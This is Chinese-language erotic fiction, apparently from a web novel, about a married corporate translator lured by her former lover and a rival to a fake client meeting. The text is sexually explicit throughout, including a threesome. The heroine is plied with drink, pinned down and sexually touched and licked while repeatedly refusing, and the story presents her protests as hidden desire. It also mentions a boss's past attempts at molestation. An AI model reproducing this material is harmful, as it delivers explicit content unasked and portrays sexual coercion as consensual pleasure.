图片载入中

人妻周倩之翻译女郎

特大字】 【大字】 【中字】 【小字

TW绿海市的商业街头,晚上九点,正是情人们吃罢晚饭开始购物、看电影、进酒吧等各色消遣开始的时候。由于这里常年气候宜人,各大商城都是以晚上作为主要营业时间。

随着思想的开放程度日益加大,绿海的女孩子穿衣服也是越来越大胆,尤其是到了晚上,很多白天无论如何不敢穿上街的火爆装扮纷纷亮相。有的女孩只穿个小肚兜,从背后一看,纤细的腰肢、丰腴的肩背一览无遗。至于各色齐屄小短裙更是今年夏天的流行款,那些踩着高跟鞋、丰臀扭摆的姑娘只要稍一弯腰就难免将短裙内的内裤暴露在众目睽睽之下。她们对这个效果也显然心知肚明,所以那些内裤往往都是精心配搭过的,价值不菲,式样更是让人大流鼻血。

在夜色下的百花丛中,有一个相对来说打扮随意的少妇正一个人百无聊赖地逛商场。她叫周倩,是总部设在绿海的东太平洋科技实业集团的专职翻译,从业已经多年的高级白领。照理说,周倩的各种衣服都已经足够了,不需要专门采购。 不过,今天公司老总专门告诉周倩明天要她参加一个非常重要的回忆,需要她穿得正式一些。

由于周倩平时出外勤的机会不多,业余穿衣风格也趋于性感,反倒是上班时候穿的职业装倒是可换的花样不多。既然老总专门交代,她当然要重视起来。可惜周倩的丈夫李冰河是一名刑警,而且最近刚刚升官,根本没有可能陪她逛街,她昔日的闺蜜杜莹莹也因为各种原因和她反目成仇,到头来,这么个大美女只得形单影只地独自出门。

一个人逛街实在是无聊的事情,试了几套衣服都都没看中之后,周倩渐渐地失去了耐性。一对年轻男女和她迎面走来,那个男人明显是故意地用肩膀撞到她的胸脯上。周倩怒目而视,那男人已经心虚地快步走开了。其实那男人身边的少女非常性感热辣,一条牛仔热裤下露出两瓣萧肉臀。周倩无奈地叹口气。她想不通这些男人,明明和女朋友一起出来逛街,眼睛怎么还老盯着不相干的女人? 周倩今天的打扮其实非常嘻哈:披散的头发随便拿头绳一扎,挽成一条尾巴垂在背后;上身是白色的宽松蝙蝠衫,下面是一条黑色仿皮镂空透肉打底裤。可惜这样一身休闲打扮仍然不能降低周倩的回头率。这也难怪,宽松的蝙蝠衫下,她的一对尖乳像是浓雾掩映下的教堂塔顶,反而分外凸出;紧身仿皮打底裤则把她那双修长而不乏丰润的大腿线条勾勒出来,透在镂空部的雪白肌肤更引人遐思。 “讨厌啦!”周倩将蝙蝠衫拉了拉,徒劳地想把自己的曲线遮住一些。那些男人一趁身边的女人不注意就直勾勾盯着她的胸部看。被男人这样关注,对于任何一个女人都不是讨厌的事情,但是,周倩最近和丈夫关系很一般,和情人也刚刚闹翻,对于男人有很深的抵触情绪。

或许是因为性需要没得到满足,周倩最近虚火很旺,一向白皙如玉的脸蛋上居然蹦出了几颗小豆豆。她也懒得化妆遮掩,就这样素面朝天地来到商场里。实在没有特别满意的,她只得凑合了一套职业套装。她没精打采地拎着衣服路过一个名牌女装区,这时一个熟悉的声音吸引了她的注意力,“老公,你说好看不啦? 会不会太短了啊?”

周倩咬紧了嘴唇。那个正在发嗲的女人正是她过去的闺蜜、现在的死敌杜莹莹,而杜莹莹跟前的男人正是伤透了她的情人端木阳。在内心深处,周倩无法平静。她试着让自己接受端木阳和杜莹莹的情人关系。毕竟一个男未娶、一个女已寡,别人在一起是名正言顺的,自己一个有夫之妇有什么理由发飙?她能做的只是从此和端木阳这伪君子一刀两断。然而,她真的甘心吗?

这些问题当然没有答案。周倩就那样呆呆地看着杜莹莹千娇百媚地在端木阳身上撒娇。杜莹莹试的那条裙子真的很短,典型的齐逼小短裙,稍不留神就露出了里面的紫色内裤。可是端木阳那色狼似乎很喜欢,他已经走向了收银台。 周倩能想像到接下来的戏码。杜莹莹会穿着这条裙子和端木阳一起吃晚饭,然后端木阳会在床上扒掉这条裙子,和杜莹莹抱在一起疯狂。对这一幕她并不陌生,她亲眼见过杜莹莹光熘熘地在端木阳身下娇喘、扭摆。当时的杜莹莹也是有夫之妇,现在她却光明正大地成为了端木阳的情妇。周倩不愿看下去,趁着没有被发现,匆匆走开。

尽管周倩对仓促选定的新衣服并不满意,但是当她来到公司上班时还是引发了同事们的围观。那是一件紧身雪纺衬衫配搭一条银灰色高腰一步裙,将周倩的纤细腰身和形状突出的上围恰到好处地展现出来。此外,周倩选择的肉色丝袜和黑色高跟鞋也非常协调。

周倩一边和翻译部的姐妹们开了几个无伤大雅的玩笑,一边将老总要求的资料准备好,然后在众人艳羡的目光中步入了小会议室。翻译部的姐妹们一向消息多、嘴巴快,早已听说今天来的客人是公司最重要的合作伙伴,老总指定要周倩参加。

周倩在职场可算是历练多年,早已历练得举止妥当,落落大方。不过,这一次,当她步入会议室立即就愣在原地--迎面只见一个客人身穿白色衬衫和黑色西服,正和老总郑国权谈笑风生,可不就是自己的灾星端木阳吗?还有,端木阳边上正对着自己贼笑的女人不就是杜莹莹吗?这算是哪一出啊?这是故意拿我开涮吗?

老总郑国权是一个不到五十岁的胖男人,此刻正努力谄媚地讨好端木阳,并未发现周倩的失态,他热情地给双方做介绍,“来了啊,坐。这位是端木先生,这位是端木先生的秘书杜小姐。这就是我们公司的才女周倩。”

“幸会!”端木阳微笑地握了握周倩伸出去的手指,他身材笔挺,五官有点像混血儿,那派头倒真像一个海外商业代表。

见周倩似乎一脸疑惑,老总适时地做了说明:“周倩啊,端木先生是我们的老朋友了,多亏他在美国的人脉,我们公司才一直拥有其他公司稀缺的合金材料。 端木先生一直说我们公司的英文材料做得非常好,专业术语很到位,文法也非常地道,所以他想见见主笔翻译的人才。”

“哪里?我只是做了我应该做的工作……”周倩脸上浮现一抹红晕。尽管是转述,这么高的评价从老总嘴里出来,她当然很高兴。不过她心里还是充满疑窦。 刚才一见到端木阳,她就认定端木阳故意和公司谈业务,为的就是继续逗弄自己。可是听老总这么说,端木阳早就和公司有业务往来了,并非为了自己没事找事。

即便如此,端木阳偏偏在此时要老总引荐自己,肯定也是不安好心的。周倩怀着防范心理应付着场面,却听到郑国权说:“周倩,端木先生下午有个美国同行要来洽谈,他需要有个懂专业的翻译在场,特意向我们公司来借人。我看你挺合适的。”

“哎呀,我,我也就是做做案头工作,口译恐怕不行……”周倩心想,这才是端木阳这混蛋的真正目的吧?

郑国权并不认可:“你就不用过度谦虚了,在我们公司,你的英文口译是数得出的吧。就这样,下午三点端木先生会派车来接你。”

“好的。”周倩心慌意乱地接受了命令,她偷瞄了一眼端木阳,却见端木阳正坏坏地看着自己,心里更恼了。

等端木阳和杜莹莹告辞之后,郑国权又对周倩语重心长地教导了一番。原来,端木阳和公司的合作始于去年秋天。当时公司产品急需的一种高科技合金短缺,只有端木阳的公司能够提供。正是凭藉对于这种资源的垄断,公司才能渐渐在竞争对手中脱颖而出。所以,就算说端木阳是公司的救命恩人也不过分。

去年秋天?那会端木阳和自己还不认识呢,难道真是自己多心了?周倩还是倍感为难,“可是,郑总,他们公司接待客户,毕竟是他们公司的内部事务。我去合适吗?”

郑国权摇摇头,“这方面你就不必过多担心了。你的能力我们有目共睹,用你的专业水平维护好重要的合作关系,这可是个大功劳。鉴于你的出色表现,我已经让人事部给你造加薪报告了。”

“啊?我上个月刚刚调薪呢。”周倩觉得有点不好意思。和所有的美女一样,周倩有着很好的人缘,同时也面临一些风言风语。尤其公司里的其他几位大美女,对于周倩一向看不顺眼。

“这次是特别贡献奖,包括你在内有五位员工都在这一批次里,你不用谢我。” 郑国权公私分明地说。

郑国权在香港和美国都有过求学经历,平时算得上是道貌岸然。不过周倩知道他私下里是一个变态色狼,在周倩刚到公司的时候几次想要猥亵她。后来周倩让自己的丈夫李冰河敲打了他之后,他倒是彻底老实了。所以,对于不明不白的加薪,周倩是很防范的,以免和上司有所瓜葛。不过现在郑国权这样说,周倩也只能连胜道谢。

就在周倩告辞出门的时候,刚好看到翻译部的同事高娜往这边走。高娜和比周倩小两岁,有留学背景,总以为自己的外语功底更强,对于周倩的职位比她高一直不满。

周倩对高娜其实也看不顺眼,自己虽然也属于穿衣服很时尚的类型,不过这位高小姐显然更加厉害,比周倩还要高的身材,拥有一双绝世美腿,把各种齐逼小短裙穿得恰到好处,故意走光更是家常便饭,是公司男同事最热衷的养眼冰激淋。现在高娜穿的就是一条紧紧包住翘臀的连衣短裙,随着夸张的扭动,裙摆随时可能褪上去把内裤暴露出来的样子。

迎面擦肩而过之前,周倩和高娜点头打了个招唿,高娜的脸色比平时还要难看,下巴都快扬到天上去了。周倩没和她计较,她现在还有自己的心事要操心。 却说高娜则踩着高跟鞋一路来到郑国权的办公室。郑国权迎进了高娜,刚在座位上坐回去,高娜一下子就跳到他的怀里。她的个头很高,而郑国权则是个矮胖子,整幅画面就像是万圣节的南瓜上面插着一支马蹄莲,甭提有多滑稽。 郑国权感到大腿上高娜的圆臀肉感温润,无比受用,慌张地说:“娜娜,你干嘛呢?”

“还干嘛呢?我问你,你不是最近终于美梦成真了?”高娜伸手捏住郑国权的嘴巴往两边扯。

要是让其他员工看到这幅景象,郑国权的威信可就从此扫地。不过他显然已经适应了高娜的撒娇,龇牙咧嘴地反问:“娜娜,你说什么呢?什么美梦?” 高娜放开手,“你少装傻呀,是不是终于把周倩的屄给操到了?什么好事就只想得到她?”

郑国权连忙指天发誓:“哎呀,娜娜,我要说多少遍呀?我喜欢的只有你,周倩和你一比算什么呀?”

“哼,少来!”高娜不吃这套,她要的是实在的东西,“那我问你,这么重要的客户为什么不让我去接待呀?怕我能力不够?”

郑国权辩解说:“这不是能力的问题呀,是对方指定要材料翻译的主笔,我总不能让你冒名顶替?”

“有什么不可以?谁会知道呀?你事先把材料给我看下,我难道会穿帮吗?” 高娜还是不服。

“这个……”郑国权一时语塞,“娜娜,这样吧,如果下次还有机会,我一定推荐你去。”

“也只好这样了,坏蛋!”高娜嘟着嘴。

“嗯嗯,娜娜,那就让我坏下?”郑国权把手伸进了高娜的短裙里面。

高娜奋力挣脱他,“哼,本姑娘生气了,别碰我!”

这边高娜不服不忿,那边周倩对于高娜竭力争取的机会则是不甘不愿。按照约定的时间,周倩跟着司机来到了端木阳的贸易公司。说是公司,走进去一看,却活似一个酒吧。只见端木阳和杜莹莹已经在会客厅的吧台上喝酒,外国商人还没到。周倩客客气气地向“端木先生”和“杜小姐”问好之后,坐在了沙发前静候。

杜莹莹端着一杯红酒走过来,“哎呀,倩倩,大家都是熟人了,这么严肃干什么?先喝杯酒吧。”

周倩起身接过酒杯,并没有喝,“对不起,我是来工作的。请问客人什么时候到?有什么需要我现在该了解的吗?”

杜莹莹哈哈一笑,“工作忙什么啊?我们三个这也是第一次坐在一起喝酒吧? 多难得啊。倩倩,你就喝了这杯酒吧,我敬你。”

杜莹莹说着,身子紧紧挨着周倩,胳膊环在周倩的腰上。两个人的身体都是曲线玲珑的,这样紧挨着,彼此的肉体难免互相研磨着。周倩有些不自在地挪了挪屁股,勉强地把酒喝了。

“这才像以前那个倩倩嘛!”杜莹莹又斟了一杯酒,满脸笑容,她穿着粉色吊带裙,实在不像是公务洽谈时的装束,倒是反衬得周倩的装束有些过度正式。 她举起杯子说:“倩倩,这杯酒我敬你,说起来要不是你介绍,我和端木也不会认识的。”

周倩心想,我什么时候介绍你们认识了?明明是你用下作的手段自己找上去的好不好?不过眼下不是计较这些的时候,她只想赶紧把工作做完。眼见杜莹莹又一次先干为敬,周倩只得把杜莹莹倒的酒再次喝完。

“嗯,倩倩,你真美,难怪男人们都为你神魂颠倒,连我看了都动心呢。” 杜莹莹“色迷迷”地盯着周倩开始泛红的脸蛋,伸手轻轻抚摸着。

“别这样……”周倩蓦地感觉到气氛十分暧昧,不安地看了一眼吧台边的端木阳。

“哎呀,倩倩,害羞呢?我们之间早就没有秘密了不是吗?”杜莹莹说的不错,她和周倩当了一年的闺蜜,经常在浴室坦诚相见的,私密话题也从来不避讳。 然而,周倩此时的感觉比光着屁股站在大街上还要奇怪,杜莹莹的脸凑得越来越近,周倩能感觉到她唿出的热气。周倩下意识地往后挪动了下,但是杜莹莹突然将嘴唇贴紧了她的耳垂,周倩浑身一麻,过电一般,口中“咿”了一声。 杜莹莹甜糯的声音就在她的耳边:“倩倩,德伦已经死了,男人之间的误会我们就忘记吧。我们继续做好姐妹,好不好?”

“好,噢,别……”周倩自己都不知道自己在说什么了。明明对杜莹莹绝无好感,可是被杜莹莹这样亲昵着,竟然会有一种异样的酥麻感。

“倩倩……”杜莹莹低唤一声,舌尖滑进了周倩的耳廓。

“唔!”周倩哼了一声,任由杜莹莹将她抱紧,两个大美女的豪乳两两相对,互相碾着。尽管都穿着衣服,可是周倩还是能感觉到自己的乳头和杜莹莹的乳头都翘起来了,不时地互相刮擦。撩拨得周倩心里痒痒的。

“舒服吗?倩倩?嗯?你的咪咪头好硬。”杜莹莹的唇舌滑过周倩的鼻翼、下巴、脖子。

“别这样,有人在呢……”荒诞感和暧昧感构成了越来越古怪的氛围,周倩不安地扭动着身体,下意识想去往端木阳那边看,又害羞得不敢抬头。

“我们小姐妹亲热亲热,管他什么事?”杜莹莹的手也开始不老实了。

“啊啊,不要!”周倩猛然发出惊唿,她在半梦半醒中感觉到杜莹莹的手竟然滑进了她的高腰裙,隔着肉色裤袜,直接摸到了她的深红色低腰小蕾丝内裤上。 她要站起来,可是浑身一点力气都没有,杜莹莹的手指迳自到达了她的裤裆上,轻轻一勾手指,按住了她隆起的穴包!

“唔啊!”周倩羞愧难当,恨不得钻到地毯下面去--就在杜莹莹的手指挤压到她的私处的同时,她的花心一热,一股暖流从阴道奔涌而出,立即渗出了内裤。

周倩这阵子确实有些饥渴难耐。这两天她都以身体不适婉拒了丈夫的要求,但是这并不代表她心里不想做爱。长期处于性压抑的周倩被杜莹莹挑逗得毫无招架之力。她以前只知道自己禁不住端木阳的调戏,没想到被女人这样也会有这样强烈的反应。

“倩倩……”杜莹莹又把嘴巴凑到了周倩耳畔,“小妹妹流了好多水呢,我帮你亲亲小妹妹好不好?”

“啊,不要!客人来了怎么办?”周倩快吓晕了。

“傻倩倩,哪有什么客人啊?这是你家端木哥哥心疼你这阵子孤孤单单的,特意安排你出来散散心。”杜莹莹得意地笑了。

“混蛋,你们又合伙欺负我!”周倩真恼了,拼命要起身。

“别这样,你不是很想吗?”杜莹莹丰满的身体压在她身上,不让她起身,手指熟练地伸进了裤袜,插进了内裤裤腰,滑到了周倩两片肥厚滑腻的大阴唇上。 “放开我,别摸我那里……”周倩急促地抗议。

“倩倩,你小妹妹还在冒水呢,等我亲亲她,你就更舒服了。”杜莹莹的手指弹琵琶一般拨动周倩的肉唇,让周倩的淫水更加放肆地奔流而出。

周倩仰脸看向端木阳,只见这坏东西正含笑看戏,脸上挂着一半欣赏、一般嘲弄的神情。她一阵恼怒,赌气地叫道:“我才不要你吃,要吃就让那个混蛋吃!” 杜莹莹愣了一下,转而扭头过去,戏谑地看着端木阳:“呀,大美女要你吃呢,你赏脸不?”

端木阳微微一笑,从吧椅上跳下,周倩倒是给吓了一跳,忘记生气了,紧张地解释:“我,我不是那个意思……”

“哈哈!”杜莹莹乐坏了,“倩倩,可别反悔噢!明明是你点名要他帮你吃小骚屄的!”

“我才没有!”周倩奋力起身,又被杜莹莹给按了回去。

这时候,端木阳来到了她的身边,俯身捧住了她的脸蛋。杜莹莹默契地放开周倩,周倩正在不安地扭摆,端木阳把嘴巴贴紧了她的耳朵:“倩儿,还在生我气?”

这算是道歉吗?周倩一时间有些晕眩,她用力点点头。没什么好否认的,本来就是他惹自己生气的。端木阳的话还在耳边,如同魔鬼的絮语:“那我帮你舔舒服了,你就别生气了,怎么样?”

“我才不稀罕呢!”周倩大叫。嘴上是这么说,周倩的心跳已经开始不听话的加快速度。

上次被人舔下体是多年之前的事情了,但是那种无法言传的滋味,周倩一辈子都不会忘记。由于李冰河极度反感被口交,相应地,他也有意回避帮周倩口交。 周倩本以为自己这辈子都不会再有机会享受到了!就算和端木阳出轨之后,两个人真正只有两次匆匆忙忙的亲热过程,周倩也根本没有被舔小屄的机会。就算有充分的时间和合适的场合,她也不会梦想端木阳会替自己做这种服务。 正因为如此,当杜莹莹说要舔自己的时候,周倩已经心跳加速。现在端木阳这混蛋竟然说他要来吃自己的小屄,怎不让周倩莫名兴奋?光是稍微想一想,周倩的下体已经禁不住微微颤抖起来,淫水汩汩直流。

“不要,住手啊!”周倩只顾走神,不防杜莹莹已经将她的裙子给彻底撸起来了。

肉色的裤袜包裹着殷红色的低腰小内裤,就这样暴露在男人面前,远比没穿更加淫荡,使得她的淫液似乎也分泌得更旺盛了,她哼哼地扭动着,对面前的端木阳抗议着:“你混蛋,就知道欺负我!”

“哎呀,这是欺负吗?这是你端木大哥心疼你呢!”杜莹莹凑到她的面前,熟练地把周倩的胳膊向后抬起,压在沙发靠椅上,身子也同时靠近。

“才不要这样的心疼……”周倩的胸脯被杜莹莹的酥胸给挤住了,说话有点喘,然而她随即尖叫起来:“啊,不要!”

原来,端木阳不知道什么时候已经滑到了她的两腿之间,悄无声息地伸出了舌头,在她裤袜的裆部用力地卷了一圈。温热的暧昧感引发了强烈的身体冲动,仅仅这一下,就让周倩的丰臀不由自主地向前抬了一下,小腹深处一阵悸动,爱液不受控制地开闸而出。

“啊,臭流氓,舔人家内裤……”周倩的脸瞬间变得透明起来,红鲜鲜地泛着华彩。尽管还隔着一层薄纱和一层布料,但是她的私处分明能感觉到男人舌头灵活的转动。那有力的舌尖好像是巫师的魔杖,自如地挑逗她最敏感的地带。整个凸起的阴埠地带都是那条坏舌头的活动范围,周倩的外阴唇本来就很肥厚,舌头刮动时,不住地翻动她的小肉肉,让她更加难以把控自己。

“唔啊,羞死人了,停下啊,不要舔了啊!”周倩的红色小内裤早就被自己的淫水给润湿、浸透,要是颜色浅一点的话,里面的肉缝肯定早就一清二楚了。 端木阳当然一点停下的意思都没有,非但没有停下,还伸出左手手指,放在周倩内裤的会阴部分来回抽动。灼热的摩擦与阴埠被舔的滑腻滋味又有不同,两者同时冲击着周倩敏感而饥渴的身体,让她强压的呻吟声又升高了几个分贝。 残存的理智告诉周倩,她即将变成另外一个女人,一个放浪形骸的女人。也许她并不介意在端木阳面前变身,但是她绝不要在杜莹莹面前再出洋相。她使出最后一点力气,用力推开贴在她下面的端木阳,叫着:“够了啦,我要回去上班了!”

“哎呀,傻倩倩,你就这样湿答答地去上班啊?”杜莹莹笑了。

“要你管……”周倩愣了一下,这确实是个麻烦事。端木阳来到了周倩的身边坐着,问道:“要不要换条内裤?”

周倩惊喜地问:“你有换的?”

“有呀,不过你得先脱掉现在这个吧?”端木阳坏笑着,手指突然来到了周倩夹紧的腿间,轻轻一勾,蕾丝小内裤就变成了绳条,离开周倩黏煳的下体、“唉呀!”周倩下意识地一低头,瞥见自己的私处一团油黑,忙用力去推端木阳:“臭流氓,你干什么啊?”

周倩现在的反抗并非做作,尽管内心渴念被口交的感觉,但是她对自己多毛而肉感的阴部外观并不自信,尤其是在亲眼见过杜莹莹那粉嫩、干净的小穴之后。 不过,她这一推非但没有摆脱端木阳,反倒让他顺势回到了她的腿间。他的手指挑开了周倩的内裤,让周倩的湿答答的肉缝完全袒露。

“不要啊!”周倩本能地合拢双腿,但是杜莹莹一把抱住了她的左腿,让她的左腿完全打开,平放在沙发上。这样一来,周倩的下体被迫完全张开,再也没有秘密可言。

“唔,别看!”嘴上叫端木阳不要看,但是周倩知道已经不可能阻止她。她捂住了脸,不敢看端木阳的样子,但是心底当然明白端木阳正在饥渴地盯着自己的耻部。

周倩最近经常自慰,有时候丈夫当晚班的时候,她还会对着镜子弄自己。她能想像到此刻暴露在端木阳面前的小穴是什么样子。她只盼自己的小浪屄不要太浪了,被打湿的毛毛不要跟雨后的草堆一样凌乱,肉缝顶端的小肉珠不要急不可耐地膨胀、钻出,千万不要啊。

有位哲人说过,女人百分之九十九的时间都在记挂自己的外貌。周倩的小女人心态让她在如此兴奋而羞耻的当口也不能免俗,她想像着自己肉穴的模样,体会着以极其豪放的姿势暴露在一个男人面前的复杂快感。

要知道,这个男人并不是自己的丈夫啊,可是这种负罪感只会让周倩变得更加激动,好像光是被男人这样盯着就足够让她达到性高潮了。然而,真正的高潮来自于接下来的一瞬,周倩在紧张的期待中蓦地感到一条滑滑的热热的蛇状物猛然滑过整条黏润肥腻的肉缝!那一瞬间,周倩浑身细微的毛孔都张开了,像是干涸多年的土地尝到甘霖的滋味,明明只是来自私处小肉肉的瞬间感官,却唤醒了周倩浑身每个细胞,她不顾一切地想高声呐喊,但并未有任何声响。

“嗷!”周倩的喉咙深处终于爆发出一声惊人的母兽般的叫声,仅仅是被舌尖舔了一下阴部,她已经彻底迷失。她伸手按住端木阳的长发,让他的唇舌更加贴紧自己毛茸茸的骚穴,主动挺起私处的肉肉去喂给他吃。端木阳没有拒绝送到嘴边的嫩肉,毫不客气地张开嘴,一会含住周倩的大阴唇吮动,一会又用舌头的最顶端拨弄水嫩的小阴唇,还不时用力扫过肉缝顶端完全涨大的阴核。

疾风骤雨般的高潮已经不可遏止,周倩抱着裆下男人的脑袋,耸动下体,肉臀疯狂扭摆,淫水尽情喷泄,就好像要把一辈子积压的爱液全部释放出来。 “唔,天啊……”仿佛男人射精般的喷发过程终于告一段落,周倩的身体彻底瘫软了。或许是最近的内分泌不够平衡,或者是身心两面的刺激太强烈,周倩的这次高潮来得既快又突然。她羞得无地自容,根本不敢面对杜莹莹嘲笑的眼神,在晕眩中蜷着身体、闭着眼睛低声呻吟。

此刻周倩的打扮有一种不协调的美感:下身已经近乎全裸,被拨开的内裤边,狭长的溪涧里还有细流潺潺,两岸春草萋萋;上身却是非常正式的雪纺高领衬衫,提示着她此行的原本目的。她的脸蛋更有看点,嫣红而脆薄的肌肤似乎吹弹可破,伴随着低吟而微张的小嘴湿得像是被漂洗过。

原本她还在回味之中,耳边却传来一阵阵清晰的浪叫:“啊啊啊,好硬,唔唔唔,捅得好深……”

周倩循声一看,几乎不敢相信自己的眼睛:端木阳正靠在沙发上坐着,裤子已经解开,杜莹莹撩开了自己的短裙骑在了端木阳的身上,娇嫩的小屄狂放地套弄着端木阳的阴茎,隐约可听到“咕叽”“咕叽”的肉体交合声。

这也太不要脸了吧?周倩曾经偷看过杜莹莹和端木阳做爱,反过来也曾经被杜莹莹偷看过。但是,她从来没想过当别人面公然做这种事情--刚才被杜莹莹看到端木阳舔自己已经让她无地自容了,要是让她在杜莹莹面前挨操,那简直不可想像。

可是,问题就是,杜莹莹比她周倩的思想要开放得多。端木阳的性欲明明是自己挑逗起来的,可是现在骑在端木阳身上的女人却是杜莹莹,这让周倩非常不服气。她一时间不知所措,呆呆地看着杜莹莹尽情享受。只见杜莹莹的裙摆随意掖在腰带下,和裙子一个色系的粉红内裤褪到了膝盖处,滚圆的光屁股亮晶晶的,随着套弄阴茎的动作上下摆动,显然爽到不行。

偏偏杜莹莹还落落大方,见周倩看着自己,一边喘气一边招唿:“倩倩,我先用用你端木哥哈,不介意吧……啊噢,好深,顶死我了……”

“关我什么事?”周倩站起身就要走,突然发现自己的下体几乎全裸,就回去沙发上拿衣服。她有意不看那对正在忘我交合的狗男女,身子背对着他们,不料腰间被一双手给抱住了。她扭头一看,是端木阳,不禁怒问:“不专心爱你的宝贝莹莹,惹我干嘛?”

端木阳诡异地一笑,脸上亮晶晶的,那是自己流到他脸上的蜜汁吧?这混蛋也不知道擦一擦,不脏啊?想到这里,周倩有点意乱情迷,端木阳已经把嘴伸了过来,在周倩抗议之前堵住了她的湿唇。

周倩“嘤咛”一声,随即被端木阳的舌头占领了小嘴。混球,刚刚舔人家的下面,现在又来亲人家的上面,那滑滑的是他的口水还是自己的淫水?周倩不禁满脑子绮思,身子软软的没了力气。端木阳的魔手趁机在她身上滑动,很快把她的小西装给脱掉。

周倩有过三个男人,性爱经验不算匮乏。不过她还是头一次经历三个人一起做爱的场面。这就是所谓的3P?感觉有点奇怪,也有些兴奋。同时,她又非常恼火,因为端木阳这家伙明明就在享受和杜莹莹插穴的快乐,这边却还好意思来挑逗自己。她本想推开端木阳就跑,可是放着杜莹莹一个人在这里霸占端木阳,她又心有不甘。

周倩犹豫之间,端木阳已经把她的衬衫解开,她那一对因为情欲贲张而变得涨涨的双乳在淡紫色蕾丝胸衣下半裸着,似乎随时要冲出胸衣的束缚。端木阳眼睛一亮,不由分说地埋头到深深的乳沟里面,嘴巴咬着胸衣边沿,轻轻一拽,两团凝脂般的肉球蹦了出来,嫣红的乳晕夺人心魄。周倩心里一惊,随即发出了呻吟声:“唔,轻点……”

原来端木阳一刻都没耽误,直接含住了周倩的一侧乳头,舌尖在唇间活动,环绕着乳头拨动。和乳房相比,周倩的乳头显得有些小,但是在端木阳的舌头挑逗下,小乳头慢慢凸起,像是初熟的梅子一般。峭立在雪白的乳峰顶端。

“唔……嗯……”敏感的乳头上面成千上万的末梢神经将无法言喻的微妙快感传导到全身。周倩已经完全失去了抵抗的念头,她主动搂着端木阳的脖颈,让他的脸深深埋进自己的酥胸里,尽情享受肉体被挑逗的快乐,嘴里不住呢喃:“咬我……啊哼……对,用力…呀,噢,不,轻点轻点……”

端木阳的脸上还有开始为周倩口交时候蘸满的蜜汁,此时黏煳煳的、湿滑滑的又沾到了周倩的乳肉上。周倩下体的爱液与端木阳的口水,加上已经微微渗出的汗珠,所有这些体液让周倩本来就娇嫩晶莹的乳房变得亮晶晶的,在吊顶水晶灯的映照下泛着诱惑的光芒。

“唉呀,好坏,咪咪要被吃掉了……”周倩感觉到端木阳的动作越来越重,她喜欢他的冲动,同时也渐渐不能满足于他只是吮吸自己的奶头和乳肉。她扭动着娇躯,两腿之间的肥厚花瓣中又开始分泌大量的蜜汁。

对于周倩来说,这实在是一次新鲜古怪的体验。端木阳半躺在沙发上,一边乱吻周倩的胸部,姿态难免别扭。而杜莹莹还在端木阳下体上套弄骚穴,或许是受到周倩酥胸的刺激,端木阳的阴茎似乎变得更粗更硬,让杜莹莹的骚穴得到了更大的满足,淫水如同瀑布一般,倒灌在端木阳的小腹上。

这种由女性上位的姿势本来就对女性的体力要求很高,何况端木阳只顾玩弄周倩,除了肉棒翘着,剩下的几乎都是杜莹莹在出力。不过,女人就是这么奇怪的动物,杜莹莹内心深处觉得这种完全主动的姿态倒是一种奇妙的尝试。她甜美的脸庞更加红光焕发,双目变得迷离,肥臀像是张翅翻飞的白蝴蝶,口里叫喊的声音比周倩大多了:“啊啊啊……好大的鸡巴……干得妹妹好爽……”

“嗯哼……”小穴深处的瘙痒感让周倩对于杜莹莹更加嫉妒,凭什么她就能尽情享受?周倩忍不住要伸手去抠摸自己的下面,但是这种赤裸裸的淫荡动作,她实在不好意思做出来。她只得旋转着丰臀,一会合拢双腿,一会彻底张开,让私处尽可能地感应到摩擦。

“怎么了?”端木阳的嘴巴突然离开周倩的乳头,到达了她的耳边。

“我想要……”周倩的俏脸晕红透明,声音低不可闻,要求却很明确。事到如今,她已经顾不得矜持了,她想要替代杜莹莹尽情享受端木阳的肉棒。偏偏端木阳不改混球本色,又催问:“想要什么?”

“混蛋,你知道的……”周倩把脸藏到端木阳肩膀上。

“不说我怎么知道?”端木阳戏谑的语气难掩急促的唿吸。

“坏人,我要你的大鸡巴,要你的大鸡巴操我!”周倩一赌气,把杜莹莹正在发出的淫声浪语直接挪用过来。

话一出口,周倩自己都吓了一跳,这是自己说的话吗?然而,当她发现端木阳听闻之后的兴奋表情,她又开始得意起来。端木阳显然被周倩的粗口给刺激了,他压着嗓子问:“操你什么?说清楚?”

周倩学着端木阳的样子,把小嘴贴紧端木阳的耳廓,声音也有些低哑了:“大流氓,操你刚才舔的地方……”

端木阳点点头,周倩一阵惊喜,以为他要把杜莹莹给推开,换做自己挨操了。 然而,端木阳放开的是周倩,转而伸手扶着杜莹莹的丰臀两侧,向上猛顶。 杜莹莹本就快嗨到顶点了,被端木阳这一顶,花心深处又疼又爽,差点从端木阳身上掉下去。她忙俯身扶住沙发靠背,迎接端木阳从下往上的冲击波。 端木阳是不攻则已,一攻冲天,粗硬的肉棒一次次向上戳进杜莹莹的蜜穴,杜莹莹被顶得目光涣散,小穴抽搐,嘴里胡言乱语:“大鸡巴哥哥,大鸡巴老公,操我,操死我!”

这狂浪的一幕幕让周倩从惊喜中跌入深渊,妒火和欲火同时被熊熊点燃,恼得想把杜莹莹从端木阳身上强推下去!就在这时,杜莹莹干脆俯下身子,蜘蛛精一般牢牢缠住了端木阳,屁股耸动着大叫:“大鸡巴老公,莹莹不行了,噢噢,要泄了……”

杜莹莹的声音渐渐低了下去,肉感的身体趴在端木阳身上微微起伏。端木阳微微一笑,把杜莹莹的身子搬开,杜莹莹缓过一口气,心领神会地扭头看着周倩说:“我都被操死了,该你挨操了,倩倩。”

这样的话,周倩自己讲或许会很过瘾,听杜莹莹讲却是老大不舒服,倒好像端木阳是杜莹莹施舍给她的一样!其实周倩见端木阳一口气把杜莹莹送到高潮,已经明白他是为了尽快打发杜莹莹,好跟自己做爱。误会消除之后,她心里蛮受用的。所以,周倩顾不上和杜莹莹计较,端木阳张开伸臂一抱她,她软绵绵的身子就靠了过去。

端木阳低头看了看周倩,正好迎上周倩也在抬头看他。她的小嘴微微张着,长睫毛扑闪着,尤其眼神仿佛浸湿了一般缠绵热辣,还带着少女般的羞涩。对于周倩不经意间流露出来的娇俏意态,端木阳似乎有些意外,他沙着嗓子问:“倩儿,想怎么弄?”

周倩扑在端木阳怀中,身体裸露得比杜莹莹还过分,仅有披在身上的雪纺衬衣和虚挂在下面的小内裤。她没想到端木阳会由着她选姿势,这种问题可叫她怎么张口回答?她低低细语:“你说嘛!”

“你到上面?”端木阳给了周倩一个学杜莹莹的机会,但是周倩立即摇头。 “嗯?要么趴着?肯定爽死你!”杜莹莹在一边出主意,周倩还是摇头。 端木阳苦笑,“那要怎样?”

“你抱着我嘛……”周倩的声音低得几乎听不到。

